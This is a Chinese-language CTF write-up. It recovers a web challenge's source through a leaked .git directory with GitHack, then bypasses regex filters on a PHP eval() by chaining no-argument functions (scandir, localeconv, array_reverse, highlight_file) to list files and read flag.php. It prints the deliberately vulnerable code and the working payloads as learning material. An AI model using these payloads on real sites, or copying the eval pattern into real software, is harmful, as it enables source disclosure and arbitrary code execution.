首先我们打开题目
我们查看网页的源代码,没有发现什么有用的信息,我们查询做题方法之后,知道可能是一道信息泄露的题目
参考资料:(信息泄露)
https://blog.csdn.net/qq_27920699/article/details/128347782?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522168093327616800186559246%2522%252C%2522scm%2522%253A%252220140713.130102334..%2522%257D&request_id=168093327616800186559246&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~sobaiduend~default-1-128347782-null-null.142^v82^insert_down1,201^v4^add_ask,239^v2^insert_chatgpt&utm_term=ctf%E4%BF%A1%E6%81%AF%E6%B3%84%E9%9C%B2&spm=1018.2226.3001.4187
信息泄露主要包括了:robots协议,备用文件,目录爆破,.git泄露
我们一个个的来尝试后发现这道题是.git的泄露
我们使用GitHack工具,py脚本跑一下得到后台源码
python GitHack.py http://XXXXXXXXXXX/.git/
我们得到了.index.php的文件,我们打开来看看得到了源代码
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>
我们让chatgpt翻译一下
我们分析完题目之后开始进行漏洞的注入
首先我们运用get传参
exp=a(b())
得到了以上的反馈
我们构建上传的payload
?exp=var_dump(scandir(current(localeconv())));
得到了一下反馈
我们分析代码可以知道,只要可以打开flag.php文件就可以得到flag
我们使用highlight_file(__FILE__)函数来读取页面的源码。
?exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));
得到flag